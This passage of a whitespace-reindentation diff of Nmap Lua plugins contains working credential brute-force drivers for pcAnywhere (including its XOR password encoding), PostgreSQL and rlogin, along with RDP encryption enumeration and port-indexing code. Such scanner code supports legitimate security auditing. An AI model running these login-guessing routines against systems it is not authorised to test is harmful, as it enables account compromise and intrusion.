-- check for comments
if not sid:match("#!comment:") then
try(socket:connect(host, port))
request = create_connect_packet( host.ip, port.number, sid )
try(socket:send(request))
response = try(socket:receive_bytes(1))
tns_packet = process_tns_packet(response)
try(socket:connect(host, port))
request = create_connect_packet( host.ip, port.number, sid )
try(socket:send(request))
response = try(socket:receive_bytes(1))
tns_packet = process_tns_packet(response)
-- If we get anything other than REFUSE consider it as a valid SID
if tns_packet.Type ~= tns_type.REFUSE then
table.insert(found_sids, sid)
end
-- If we get anything other than REFUSE consider it as a valid SID
if tns_packet.Type ~= tns_type.REFUSE then
table.insert(found_sids, sid)
end
try(socket:close())
try(socket:close())
end
end
end
end
sidfile:close()
sidfile:close()
return stdnse.format_output(true, found_sids)
return stdnse.format_output(true, found_sids)
end

View File

@@ -44,118 +44,118 @@ arg_timeout = (arg_timeout or 10) * 1000
-- implements simple xor based encryption which the server expects
local function encrypt(data)
local result = {}
local xor_key = 0xab
local k = 0
if data then
result[1] = bit.bxor(string.byte(data),xor_key)
for i = 2,string.len(data) do
result[i] = bit.bxor(result[i-1],string.byte(data,i),i-2)
end
end
return string.char(table.unpack(result))
local result = {}
local xor_key = 0xab
local k = 0
if data then
result[1] = bit.bxor(string.byte(data),xor_key)
for i = 2,string.len(data) do
result[i] = bit.bxor(result[i-1],string.byte(data,i),i-2)
end
end
return string.char(table.unpack(result))
end
local retry = false -- true means we found valid login and need to wait
Driver = {
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
return o
end,
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
return o
end,
connect = function( self )
self.socket = nmap.new_socket()
local response
local err
local status = false
connect = function( self )
self.socket = nmap.new_socket()
local response
local err
local status = false
stdnse.sleep(2)
-- when we hit a valid login pair, server enters some kind of locked state
-- so we need to wait for some time before trying next pair
-- variable "retry" signifies if we need to wait or this is just not pcAnywhere server
while not status do
status, err = self.socket:connect(self.host, self.port)
self.socket:set_timeout(arg_timeout)
if(not(status)) then
return false, brute.Error:new( "Couldn't connect to host: " .. err )
end
status, err = self.socket:send(bin.pack("H","00000000")) --initial hello
status, response = self.socket:receive_bytes(0)
if not status and not retry then
break
end
stdnse.print_debug("in a loop")
stdnse.sleep(2) -- needs relatively big timeout between retries
end
if not status or string.find(response,"Please press <Enter>") == nil then
--probably not pcanywhere
stdnse.print_debug(1, "%s: not pcAnywhere", SCRIPT_NAME)
return false, brute.Error:new( "Probably not pcAnywhere." )
end
retry = false
status, err = self.socket:send(bin.pack("H","6f06ff")) -- downgrade into legacy mode
status, response = self.socket:receive_bytes(0)
stdnse.sleep(2)
-- when we hit a valid login pair, server enters some kind of locked state
-- so we need to wait for some time before trying next pair
-- variable "retry" signifies if we need to wait or this is just not pcAnywhere server
while not status do
status, err = self.socket:connect(self.host, self.port)
self.socket:set_timeout(arg_timeout)
if(not(status)) then
return false, brute.Error:new( "Couldn't connect to host: " .. err )
end
status, err = self.socket:send(bin.pack("H","00000000")) --initial hello
status, response = self.socket:receive_bytes(0)
if not status and not retry then
break
end
stdnse.print_debug("in a loop")
stdnse.sleep(2) -- needs relatively big timeout between retries
end
if not status or string.find(response,"Please press <Enter>") == nil then
--probably not pcanywhere
stdnse.print_debug(1, "%s: not pcAnywhere", SCRIPT_NAME)
return false, brute.Error:new( "Probably not pcAnywhere." )
end
retry = false
status, err = self.socket:send(bin.pack("H","6f06ff")) -- downgrade into legacy mode
status, response = self.socket:receive_bytes(0)
status, err = self.socket:send(bin.pack("H","6f61000900fe0000ffff00000000")) -- auth capabilities I
status, response = self.socket:receive_bytes(0)
status, err = self.socket:send(bin.pack("H","6f61000900fe0000ffff00000000")) -- auth capabilities I
status, response = self.socket:receive_bytes(0)
status, err = self.socket:send(bin.pack("H","6f620102000000")) -- auth capabilities II
status, response = self.socket:receive_bytes(0)
if not status or (string.find(response,"Enter user name") == nil and string.find(response,"Enter login name") == nil) then
stdnse.print_debug(1, "%s: handshake failed", SCRIPT_NAME)
return false, brute.Error:new( "Handshake failed." )
end
return true
end,
status, err = self.socket:send(bin.pack("H","6f620102000000")) -- auth capabilities II
status, response = self.socket:receive_bytes(0)
if not status or (string.find(response,"Enter user name") == nil and string.find(response,"Enter login name") == nil) then
stdnse.print_debug(1, "%s: handshake failed", SCRIPT_NAME)
return false, brute.Error:new( "Handshake failed." )
end
return true
end,
login = function (self, user, pass)
local response
local err
local status
stdnse.print_debug( "Trying %s/%s ...", user, pass )
-- send username and password
-- both are prefixed with 0x06, size and are encrypted
status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(user)) .. encrypt(user) ) -- send username
status, response = self.socket:receive_bytes(0)
if not status or string.find(response,"Enter password") == nil then
stdnse.print_debug(1, "%s: Sending username failed", SCRIPT_NAME)
return false, brute.Error:new( "Sending username failed." )
end
-- send password
status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(pass)) .. encrypt(pass) ) -- send password
status, response = self.socket:receive_bytes(0)
if not status or string.find(response,"Login unsuccessful") or string.find(response,"Invalid login.")then
stdnse.print_debug(1, "%s: Incorrect username or password", SCRIPT_NAME)
return false, brute.Error:new( "Incorrect username or password." )
end
login = function (self, user, pass)
local response
local err
local status
stdnse.print_debug( "Trying %s/%s ...", user, pass )
-- send username and password
-- both are prefixed with 0x06, size and are encrypted
status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(user)) .. encrypt(user) ) -- send username
status, response = self.socket:receive_bytes(0)
if not status or string.find(response,"Enter password") == nil then
stdnse.print_debug(1, "%s: Sending username failed", SCRIPT_NAME)
return false, brute.Error:new( "Sending username failed." )
end
-- send password
status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(pass)) .. encrypt(pass) ) -- send password
status, response = self.socket:receive_bytes(0)
if not status or string.find(response,"Login unsuccessful") or string.find(response,"Invalid login.")then
stdnse.print_debug(1, "%s: Incorrect username or password", SCRIPT_NAME)
return false, brute.Error:new( "Incorrect username or password." )
end
if status then
retry = true -- now the server is in "locked mode", we need to retry next connection a few times
return true, brute.Account:new( user, pass, creds.State.VALID)
end
return false,brute.Error:new( "Incorrect password" )
end,
if status then
retry = true -- now the server is in "locked mode", we need to retry next connection a few times
return true, brute.Account:new( user, pass, creds.State.VALID)
end
return false,brute.Error:new( "Incorrect password" )
end,
disconnect = function( self )
self.socket:close()
return true
end
disconnect = function( self )
self.socket:close()
return true
end
}
action = function( host, port )
local status, result
local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME
engine.max_threads = 1 -- pcAnywhere supports only one login at a time
status, result = engine:start()
local status, result
local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME
engine.max_threads = 1 -- pcAnywhere supports only one login at a time
status, result = engine:start()
return result
return result
end

View File

@@ -53,113 +53,113 @@ portrule = shortport.port_or_service(5432, "postgresql")
-- @param ssl boolean, if true connect using SSL
-- @return socket connected to server
local function connectSocket(host, port, ssl)
local socket = nmap.new_socket()
local socket = nmap.new_socket()
-- set a reasonable timeout value
socket:set_timeout(5000)
socket:connect(host, port)
-- set a reasonable timeout value
socket:set_timeout(5000)
socket:connect(host, port)
-- let's be responsible and avoid sending communication in the clear
if ( ssl ) then
local status = pgsql.requestSSL(socket)
if ( status ) then
socket:reconnect_ssl()
end
end
return socket
-- let's be responsible and avoid sending communication in the clear
if ( ssl ) then
local status = pgsql.requestSSL(socket)
if ( status ) then
socket:reconnect_ssl()
end
end
return socket
end
action = function( host, port )
local status, response, ssl_enable, output
local result, response, status, nossl = {}, nil, nil, false
local valid_accounts = {}
local pg
local status, response, ssl_enable, output
local result, response, status, nossl = {}, nil, nil, false
local valid_accounts = {}
local pg
if ( nmap.registry.args['pgsql.version'] ) then
if ( tonumber(nmap.registry.args['pgsql.version']) == 2 ) then
pg = pgsql.v2
elseif ( tonumber(nmap.registry.args['pgsql.version']) == 3 ) then
pg = pgsql.v3
else
stdnse.print_debug("pgsql-brute: Unsupported version %s", nmap.registry.args['pgsql.version'])
return
end
else
pg = pgsql.detectVersion(host, port )
end
if ( nmap.registry.args['pgsql.version'] ) then
if ( tonumber(nmap.registry.args['pgsql.version']) == 2 ) then
pg = pgsql.v2
elseif ( tonumber(nmap.registry.args['pgsql.version']) == 3 ) then
pg = pgsql.v3
else
stdnse.print_debug("pgsql-brute: Unsupported version %s", nmap.registry.args['pgsql.version'])
return
end
else
pg = pgsql.detectVersion(host, port )
end
local usernames, passwords
status, usernames = unpwdb.usernames()
if ( not(status) ) then return end
local usernames, passwords
status, usernames = unpwdb.usernames()
if ( not(status) ) then return end
status, passwords = unpwdb.passwords()
if ( not(status) ) then return end
status, passwords = unpwdb.passwords()
if ( not(status) ) then return end
-- If the user explicitly does not disable SSL, enforce it
if ( ( nmap.registry.args['pgsql.nossl'] == 'true' ) or
( nmap.registry.args['pgsql.nossl'] == '1' ) ) then
nossl = true
end
-- If the user explicitly does not disable SSL, enforce it
if ( ( nmap.registry.args['pgsql.nossl'] == 'true' ) or
( nmap.registry.args['pgsql.nossl'] == '1' ) ) then
nossl = true
end
for username in usernames do
ssl_enable = not(nossl)
for password in passwords do
stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) )
local socket = connectSocket( host, port, ssl_enable )
status, response = pg.sendStartup(socket, username, username)
for username in usernames do
ssl_enable = not(nossl)
for password in passwords do
stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) )
local socket = connectSocket( host, port, ssl_enable )
status, response = pg.sendStartup(socket, username, username)
-- if nossl is enforced by the user, we're done
if ( not(status) and nossl ) then
break
end
-- if nossl is enforced by the user, we're done
if ( not(status) and nossl ) then
break
end
-- SSL failed, this can occure due to:
-- 1. The server does not do SSL
-- 2. SSL was denied on a per host or network level
--
-- Attempt SSL connection
if ( not(status) ) then
socket:close()
ssl_enable = false
socket = connectSocket( host, port, ssl_enable )
status, response = pg.sendStartup(socket, username, username)
if (not(status)) then
if ( response:match("no pg_hba.conf entry for host") ) then
stdnse.print_debug("The host was denied access to db \"%s\" as user \"%s\", aborting ...", username, username )
break
else
stdnse.print_debug("pgsql-brute: sendStartup returned: %s", response )
break
end
end
end
-- SSL failed, this can occure due to:
-- 1. The server does not do SSL
-- 2. SSL was denied on a per host or network level
--
-- Attempt SSL connection
if ( not(status) ) then
socket:close()
ssl_enable = false
socket = connectSocket( host, port, ssl_enable )
status, response = pg.sendStartup(socket, username, username)
if (not(status)) then
if ( response:match("no pg_hba.conf entry for host") ) then
stdnse.print_debug("The host was denied access to db \"%s\" as user \"%s\", aborting ...", username, username )
break
else
stdnse.print_debug("pgsql-brute: sendStartup returned: %s", response )
break
end
end
end
-- Do not attempt to authenticate if authentication type is trusted
if ( response.authtype ~= pgsql.AuthenticationType.Success ) then
status, response = pg.loginRequest( socket, response, username, password, response.salt)
end
-- Do not attempt to authenticate if authentication type is trusted
if ( response.authtype ~= pgsql.AuthenticationType.Success ) then
status, response = pg.loginRequest( socket, response, username, password, response.salt)
end
if status then
-- Add credentials for other pgsql scripts to use
if nmap.registry.pgsqlusers == nil then
nmap.registry.pgsqlusers = {}
end
nmap.registry.pgsqlusers[username]=password
if ( response.authtype ~= pgsql.AuthenticationType.Success ) then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
else
table.insert( valid_accounts, string.format("%s => Trusted authentication", username ) )
end
break
end
socket:close()
end
passwords("reset")
end
if status then
-- Add credentials for other pgsql scripts to use
if nmap.registry.pgsqlusers == nil then
nmap.registry.pgsqlusers = {}
end
nmap.registry.pgsqlusers[username]=password
if ( response.authtype ~= pgsql.AuthenticationType.Success ) then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
else
table.insert( valid_accounts, string.format("%s => Trusted authentication", username ) )
end
break
end
socket:close()
end
passwords("reset")
end
output = stdnse.format_output(true, valid_accounts)
output = stdnse.format_output(true, valid_accounts)
return output
return output
end

View File

@@ -41,123 +41,123 @@ categories = {"safe", "discovery"}
portrule = shortport.port_or_service(3389, "ms-wbt-server")
local function enum_protocols(host, port)
local PROTOCOLS = {
["Native RDP"] = 0,
["SSL"] = 1,
["CredSSP"] = 3
}
local PROTOCOLS = {
["Native RDP"] = 0,
["SSL"] = 1,
["CredSSP"] = 3
}
local ERRORS = {
[1] = "SSL_REQUIRED_BY_SERVER",
[2] = "SSL_NOT_ALLOWED_BY_SERVER",
[3] = "SSL_CERT_NOT_ON_SERVER",
[4] = "INCONSISTENT_FLAGS",
[5] = "HYBRID_REQUIRED_BY_SERVER"
}
local ERRORS = {
[1] = "SSL_REQUIRED_BY_SERVER",
[2] = "SSL_NOT_ALLOWED_BY_SERVER",
[3] = "SSL_CERT_NOT_ON_SERVER",
[4] = "INCONSISTENT_FLAGS",
[5] = "HYBRID_REQUIRED_BY_SERVER"
}
local res_proto = { name = "Security layer" }
local res_proto = { name = "Security layer" }
for k, v in pairs(PROTOCOLS) do
local comm = rdp.Comm:new(host, port)
if ( not(comm:connect()) ) then
return false, "ERROR: Failed to connect to server"
end
local cr = rdp.Request.ConnectionRequest:new(v)
local status, response = comm:exch(cr)
comm:close()
if ( not(status) ) then
return false, response
end
for k, v in pairs(PROTOCOLS) do
local comm = rdp.Comm:new(host, port)
if ( not(comm:connect()) ) then
return false, "ERROR: Failed to connect to server"
end
local cr = rdp.Request.ConnectionRequest:new(v)
local status, response = comm:exch(cr)
comm:close()
if ( not(status) ) then
return false, response
end
local pos, success = bin.unpack("C", response.itut.data)
if ( success == 2 ) then
table.insert(res_proto, ("%s: SUCCESS"):format(k))
elseif ( nmap.debugging() > 0 ) then
local pos, err = bin.unpack("C", response.itut.data, 5)
if ( err > 0 ) then
table.insert(res_proto, ("%s: FAILED (%s)"):format(k, ERRORS[err] or "Unknown"))
else
table.insert(res_proto, ("%s: FAILED"):format(k))
end
end
end
table.sort(res_proto)
return true, res_proto
local pos, success = bin.unpack("C", response.itut.data)
if ( success == 2 ) then
table.insert(res_proto, ("%s: SUCCESS"):format(k))
elseif ( nmap.debugging() > 0 ) then
local pos, err = bin.unpack("C", response.itut.data, 5)
if ( err > 0 ) then
table.insert(res_proto, ("%s: FAILED (%s)"):format(k, ERRORS[err] or "Unknown"))
else
table.insert(res_proto, ("%s: FAILED"):format(k))
end
end
end
table.sort(res_proto)
return true, res_proto
end
local function enum_ciphers(host, port)
local CIPHERS = {
{ ["40-bit RC4"] = 1 },
{ ["56-bit RC4"] = 8 },
{ ["128-bit RC4"] = 2 },
{ ["FIPS 140-1"] = 16 }
}
local CIPHERS = {
{ ["40-bit RC4"] = 1 },
{ ["56-bit RC4"] = 8 },
{ ["128-bit RC4"] = 2 },
{ ["FIPS 140-1"] = 16 }
}
local ENC_LEVELS = {
[0] = "None",
[1] = "Low",
[2] = "Client Compatible",
[3] = "High",
[4] = "FIPS Compliant",
}
local ENC_LEVELS = {
[0] = "None",
[1] = "Low",
[2] = "Client Compatible",
[3] = "High",
[4] = "FIPS Compliant",
}
local res_ciphers = {}
local res_ciphers = {}
local function get_ordered_ciphers()
local i = 0
return function()
i = i + 1
if ( not(CIPHERS[i]) ) then return end
for k,v in pairs(CIPHERS[i]) do
return k, v
end
end
end
local function get_ordered_ciphers()
local i = 0
return function()
i = i + 1
if ( not(CIPHERS[i]) ) then return end
for k,v in pairs(CIPHERS[i]) do
return k, v
end
end
end
for k, v in get_ordered_ciphers() do
local comm = rdp.Comm:new(host, port)
if ( not(comm:connect()) ) then
return false, "ERROR: Failed to connect to server"
end
for k, v in get_ordered_ciphers() do
local comm = rdp.Comm:new(host, port)
if ( not(comm:connect()) ) then
return false, "ERROR: Failed to connect to server"
end
local cr = rdp.Request.ConnectionRequest:new()
local status, response = comm:exch(cr)
if ( not(status) ) then
break
end
local cr = rdp.Request.ConnectionRequest:new()
local status, response = comm:exch(cr)
if ( not(status) ) then
break
end
local msc = rdp.Request.MCSConnectInitial:new(v)
local status, response = comm:exch(msc)
comm:close()
if ( status ) then
local pos, enc_level = bin.unpack("C", response.itut.data, 95 + 8)
local pos, enc_cipher= bin.unpack("C", response.itut.data, 95 + 4)
if ( enc_cipher == v ) then
table.insert(res_ciphers, ("%s: SUCCESS"):format(k))
end
res_ciphers.name = ("RDP Encryption level: %s"):format(ENC_LEVELS[enc_level] or "Unknown")
elseif ( nmap.debugging() > 0 ) then
table.insert(res_ciphers, ("%s: FAILURE"):format(k))
end
end
return true, res_ciphers
local msc = rdp.Request.MCSConnectInitial:new(v)
local status, response = comm:exch(msc)
comm:close()
if ( status ) then
local pos, enc_level = bin.unpack("C", response.itut.data, 95 + 8)
local pos, enc_cipher= bin.unpack("C", response.itut.data, 95 + 4)
if ( enc_cipher == v ) then
table.insert(res_ciphers, ("%s: SUCCESS"):format(k))
end
res_ciphers.name = ("RDP Encryption level: %s"):format(ENC_LEVELS[enc_level] or "Unknown")
elseif ( nmap.debugging() > 0 ) then
table.insert(res_ciphers, ("%s: FAILURE"):format(k))
end
end
return true, res_ciphers
end
action = function(host, port)
local result = {}
local result = {}
local status, res_proto = enum_protocols(host, port)
if ( not(status) ) then
return res_proto
end
local status, res_proto = enum_protocols(host, port)
if ( not(status) ) then
return res_proto
end
local status, res_ciphers = enum_ciphers(host, port)
if ( not(status) ) then
return res_ciphers
end
local status, res_ciphers = enum_ciphers(host, port)
if ( not(status) ) then
return res_ciphers
end
table.insert(result, res_proto)
table.insert(result, res_ciphers)
return stdnse.format_output(true, result)
table.insert(result, res_proto)
table.insert(result, res_ciphers)
return stdnse.format_output(true, result)
end

View File

@@ -37,20 +37,20 @@ postrule = function() return true end
hostrule = function() return true end
hostaction = function(host)
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
for _, s in ipairs({"open", "open|filtered"}) do
for _, p in ipairs({"tcp","udp"}) do
local host, port = host, nil
local db = nmap.registry[SCRIPT_NAME]
while( true ) do
port = nmap.get_ports(host, port, p, s)
if ( not(port) ) then break end
db[p] = db[p] or {}
db[p][port.number] = db[p][port.number] or {}
table.insert(db[p][port.number], { ip = host.ip, port = port, proto = p, state = s } )
end
end
end
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
for _, s in ipairs({"open", "open|filtered"}) do
for _, p in ipairs({"tcp","udp"}) do
local host, port = host, nil
local db = nmap.registry[SCRIPT_NAME]
while( true ) do
port = nmap.get_ports(host, port, p, s)
if ( not(port) ) then break end
db[p] = db[p] or {}
db[p][port.number] = db[p][port.number] or {}
table.insert(db[p][port.number], { ip = host.ip, port = port, proto = p, state = s } )
end
end
end
end
--
@@ -71,30 +71,30 @@ end
-- | 192.168.0.60
-- |_ 192.168.0.70
local function createVerticalResults(db)
local results = {}
for proto, ports in pairs(db) do
for port, entries in pairs(ports) do
local result_entries = {}
for _, entry in ipairs(entries) do
table.insert(result_entries, entry.ip)
end
table.sort(result_entries)
result_entries.name = ("%d/%s"):format(port, proto)
table.insert(results, result_entries)
table.sort(results,
function(a,b)
local a_port, a_proto = a.name:match("^(%d+)/(%w*)")
local b_port, b_proto = b.name:match("^(%d+)/(%w*)")
if ( a_proto == b_proto ) then
return ( tonumber(a_port) ) < ( tonumber(b_port) )
else
return a_proto < b_proto
end
end
)
end
end
return results
local results = {}
for proto, ports in pairs(db) do
for port, entries in pairs(ports) do
local result_entries = {}
for _, entry in ipairs(entries) do
table.insert(result_entries, entry.ip)
end
table.sort(result_entries)
result_entries.name = ("%d/%s"):format(port, proto)
table.insert(results, result_entries)
table.sort(results,
function(a,b)
local a_port, a_proto = a.name:match("^(%d+)/(%w*)")
local b_port, b_proto = b.name:match("^(%d+)/(%w*)")
if ( a_proto == b_proto ) then
return ( tonumber(a_port) ) < ( tonumber(b_port) )
else
return a_proto < b_proto
end
end
)
end
end
return results
end
--
@@ -107,48 +107,48 @@ end
-- | udp/53: 192.168.0.105, 192.168.0.70, 192.168.0.60, 192.168.0.1
-- |_ udp/5353: 192.168.0.105, 192.168.0.70, 192.168.0.60, 192.168.0.1
local function createHorizontalResults(db)
local results = {}
local results = {}
for proto, ports in pairs(db) do
for port, entries in pairs(ports) do
local result_entries = {}
for _, entry in ipairs(entries) do
table.insert(result_entries, entry.ip)
end
local ips = stdnse.strjoin(", ", result_entries)
local str = ("%d/%s: %s"):format(port, proto, ips)
table.insert(results, str)
table.sort(results,
function(a,b)
local a_port, a_proto = a:match("^(%d+)/(%w*):")
local b_port, b_proto = b:match("^(%d+)/(%w*):")
if ( a_proto == b_proto ) then
return ( tonumber(a_port) ) < ( tonumber(b_port) )
else
return a_proto < b_proto
end
end
)
end
end
return results
for proto, ports in pairs(db) do
for port, entries in pairs(ports) do
local result_entries = {}
for _, entry in ipairs(entries) do
table.insert(result_entries, entry.ip)
end
local ips = stdnse.strjoin(", ", result_entries)
local str = ("%d/%s: %s"):format(port, proto, ips)
table.insert(results, str)
table.sort(results,
function(a,b)
local a_port, a_proto = a:match("^(%d+)/(%w*):")
local b_port, b_proto = b:match("^(%d+)/(%w*):")
if ( a_proto == b_proto ) then
return ( tonumber(a_port) ) < ( tonumber(b_port) )
else
return a_proto < b_proto
end
end
)
end
end
return results
end
postaction = function()
local db = nmap.registry[SCRIPT_NAME]
if ( db == nil ) then
return false
end
local db = nmap.registry[SCRIPT_NAME]
if ( db == nil ) then
return false
end
local results
local mode = stdnse.get_script_args("reverse-index.mode") or "horizontal"
local results
local mode = stdnse.get_script_args("reverse-index.mode") or "horizontal"
if ( mode == 'horizontal' ) then
results = createHorizontalResults(db)
else
results = createVerticalResults(db)
end
return stdnse.format_output(true, results)
if ( mode == 'horizontal' ) then
results = createHorizontalResults(db)
else
results = createVerticalResults(db)
end
return stdnse.format_output(true, results)
end
local Actions = {

View File

@@ -37,105 +37,105 @@ portrule = shortport.port_or_service(513, "login", "tcp")
-- The rlogin Driver, check the brute.lua documentation for more details
Driver = {
-- creates a new Driver instance
-- @param host table as received by the action function
-- @param port table as received by the action function
-- @return o instance of Driver
new = function(self, host, port, options)
local o = { host = host, port = port, timeout = options.timeout }
setmetatable(o, self)
self.__index = self
return o
end,
-- creates a new Driver instance
-- @param host table as received by the action function
-- @param port table as received by the action function
-- @return o instance of Driver
new = function(self, host, port, options)
local o = { host = host, port = port, timeout = options.timeout }
setmetatable(o, self)
self.__index = self
return o
end,
-- connects to the rlogin service
-- it sets the source port to a random value between 513 and 1024
connect = function(self)
-- connects to the rlogin service
-- it sets the source port to a random value between 513 and 1024
connect = function(self)
local status
local status
self.socket = nmap.new_socket()
-- apparently wee need a source port below 1024
-- this approach is not very elegant as it causes address already in
-- use errors when the same src port is hit in a short time frame.
-- hopefully the retry count should take care of this as a retry
-- should choose a new random port as source.
local srcport = math.random(513, 1024)
self.socket:bind(nil, srcport)
self.socket:set_timeout(self.timeout)
local err
status, err = self.socket:connect(self.host, self.port)
self.socket = nmap.new_socket()
-- apparently wee need a source port below 1024
-- this approach is not very elegant as it causes address already in
-- use errors when the same src port is hit in a short time frame.
-- hopefully the retry count should take care of this as a retry
-- should choose a new random port as source.
local srcport = math.random(513, 1024)
self.socket:bind(nil, srcport)
self.socket:set_timeout(self.timeout)
local err
status, err = self.socket:connect(self.host, self.port)
if ( status ) then
local lport, _
status, _, lport = self.socket:get_info()
if (not(status) ) then
return false, "failed to retrieve socket status"
end
else
self.socket:close()
end
if ( not(status) ) then
stdnse.print_debug(3, "ERROR: failed to connect to server")
end
return status
end,
if ( status ) then
local lport, _
status, _, lport = self.socket:get_info()
if (not(status) ) then
return false, "failed to retrieve socket status"
end
else
self.socket:close()
end
if ( not(status) ) then
stdnse.print_debug(3, "ERROR: failed to connect to server")
end
return status
end,
login = function(self, username, password)
local data = ("\0%s\0%s\0vt100/9600\0"):format(username, username)
local status, err = self.socket:send(data)
login = function(self, username, password)
local data = ("\0%s\0%s\0vt100/9600\0"):format(username, username)
local status, err = self.socket:send(data)
status, data = self.socket:receive()
if (not(status)) then
local err = brute.Error:new("Failed to read response from server")
err:setRetry( true )
return false, err
end
if ( data ~= "\0" ) then
stdnse.print_debug(2, "ERROR: Expected null byte")
local err = brute.Error:new( "Expected null byte" )
err:setRetry( true )
return false, err
end
status, data = self.socket:receive()
if (not(status)) then
local err = brute.Error:new("Failed to read response from server")
err:setRetry( true )
return false, err
end
if ( data ~= "\0" ) then
stdnse.print_debug(2, "ERROR: Expected null byte")
local err = brute.Error:new( "Expected null byte" )
err:setRetry( true )
return false, err
end
status, data = self.socket:receive()
if (not(status)) then
local err = brute.Error:new("Failed to read response from server")
err:setRetry( true )
return false, err
end
if ( data ~= "Password: " ) then
stdnse.print_debug(2, "ERROR: Expected password prompt")
local err = brute.Error:new( "Expected password prompt" )
err:setRetry( true )
return false, err
end
status, data = self.socket:receive()
if (not(status)) then
local err = brute.Error:new("Failed to read response from server")
err:setRetry( true )
return false, err
end
if ( data ~= "Password: " ) then
stdnse.print_debug(2, "ERROR: Expected password prompt")
local err = brute.Error:new( "Expected password prompt" )
err:setRetry( true )
return false, err
end
status, err = self.socket:send(password .. "\r")
status, data = self.socket:receive()
if (not(status)) then
local err = brute.Error:new("Failed to read response from server")
err:setRetry( true )
return false, err
end
status, err = self.socket:send(password .. "\r")
status, data = self.socket:receive()
if (not(status)) then
local err = brute.Error:new("Failed to read response from server")
err:setRetry( true )
return false, err
end
status, data = self.socket:receive()
if (not(status)) then
local err = brute.Error:new("Failed to read response from server")
err:setRetry( true )
return false, err
end
status, data = self.socket:receive()
if (not(status)) then
local err = brute.Error:new("Failed to read response from server")
err:setRetry( true )
return false, err
end
if ( data:match("[Pp]assword") or data:match("[Ii]ncorrect") ) then
return false, brute.Error:new( "Incorrect password" )
end
if ( data:match("[Pp]assword") or data:match("[Ii]ncorrect") ) then
return false, brute.Error:new( "Incorrect password" )
end
return true, brute.Account:new(username, password, creds.State.VALID)
end,
return true, brute.Account:new(username, password, creds.State.VALID)
end,
disconnect = function(self)
return self.socket:close()
end,
disconnect = function(self)
return self.socket:close()
end,
}
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
@@ -143,16 +143,16 @@ arg_timeout = (arg_timeout or 10) * 1000
action = function(host, port)
if ( not(nmap.is_privileged()) ) then
return "\n ERROR: rlogin-brute needs Nmap to be run in privileged mode"
end
if ( not(nmap.is_privileged()) ) then
return "\n ERROR: rlogin-brute needs Nmap to be run in privileged mode"
end
local options = {
timeout = arg_timeout
}
local options = {
timeout = arg_timeout
}
local engine = brute.Engine:new(Driver, host, port, options)
engine.options.script_name = SCRIPT_NAME
local status, result = engine:start()
return result
local engine = brute.Engine:new(Driver, host, port, options)
engine.options.script_name = SCRIPT_NAME
local status, result = engine:start()
return result
end

View File

@@ -44,17 +44,17 @@ portrule = shortport.port_or_service(554, "rtsp", "tcp", "open")
-- @param filename string containing the name of the file to read from
-- @return url string containing the relative RTSP url
urlIterator = function(fd)
local function getNextUrl ()
repeat
local line = fd:read()
if ( line and not(line:match('^#!comment:')) ) then
coroutine.yield(line)
end
until(not(line))
fd:close()
while(true) do coroutine.yield(nil) end
end
return coroutine.wrap( getNextUrl )
local function getNextUrl ()
repeat
local line = fd:read()
if ( line and not(line:match('^#!comment:')) ) then
coroutine.yield(line)
end
until(not(line))
fd:close()
while(true) do coroutine.yield(nil) end
end
return coroutine.wrap( getNextUrl )
end
-- Fetches the next url from the iterator, creates an absolute url and tries
@@ -64,101 +64,101 @@ end
-- @param url_iter function containing the url iterator
-- @param result table containing the urls that were successfully retrieved
local function processURL(host, port, url_iter, result)
local condvar = nmap.condvar(result)
for u in url_iter do
local name = ( host.targetname and #host.targetname > 0 ) and host.targetname or
( host.name and #host.name > 0 ) and host.name or
host.ip
local url = ("rtsp://%s%s"):format(name, u)
local helper = rtsp.Helper:new(host, port)
local status = helper:connect()
local condvar = nmap.condvar(result)
for u in url_iter do
local name = ( host.targetname and #host.targetname > 0 ) and host.targetname or
( host.name and #host.name > 0 ) and host.name or
host.ip
local url = ("rtsp://%s%s"):format(name, u)
local helper = rtsp.Helper:new(host, port)
local status = helper:connect()
if ( not(status) ) then
stdnse.print_debug(2, "ERROR: Connecting to RTSP server url: %s", url)
table.insert(result, { url = url, status = -1 } )
break
end
if ( not(status) ) then
stdnse.print_debug(2, "ERROR: Connecting to RTSP server url: %s", url)
table.insert(result, { url = url, status = -1 } )
break
end
local response
status, response = helper:describe(url)
if ( not(status) ) then
stdnse.print_debug(2, "ERROR: Sending DESCRIBE request to url: %s", url)
table.insert(result, { url = url, status = -1 } )
break
end
status, response = helper:describe(url)
if ( not(status) ) then
stdnse.print_debug(2, "ERROR: Sending DESCRIBE request to url: %s", url)
table.insert(result, { url = url, status = -1 } )
break
end
table.insert(result, { url = url, status = response.status } )
helper:close()
end
condvar "signal"
table.insert(result, { url = url, status = response.status } )
helper:close()
end
condvar "signal"
end
action = function(host, port)
local response
local result = {}
local condvar = nmap.condvar(result)
local threadcount = stdnse.get_script_args('rtsp-url-brute.threads') or 10
local filename = stdnse.get_script_args('rtsp-url-brute.urlfile') or
nmap.fetchfile("nselib/data/rtsp-urls.txt")
local response
local result = {}
local condvar = nmap.condvar(result)
local threadcount = stdnse.get_script_args('rtsp-url-brute.threads') or 10
local filename = stdnse.get_script_args('rtsp-url-brute.urlfile') or
nmap.fetchfile("nselib/data/rtsp-urls.txt")
threadcount = tonumber(threadcount)
threadcount = tonumber(threadcount)
if ( not(filename) ) then
return stdnse.format_output(false, "No dictionary could be loaded")
end
if ( not(filename) ) then
return stdnse.format_output(false, "No dictionary could be loaded")
end
local f = io.open(filename)
if ( not(f) ) then
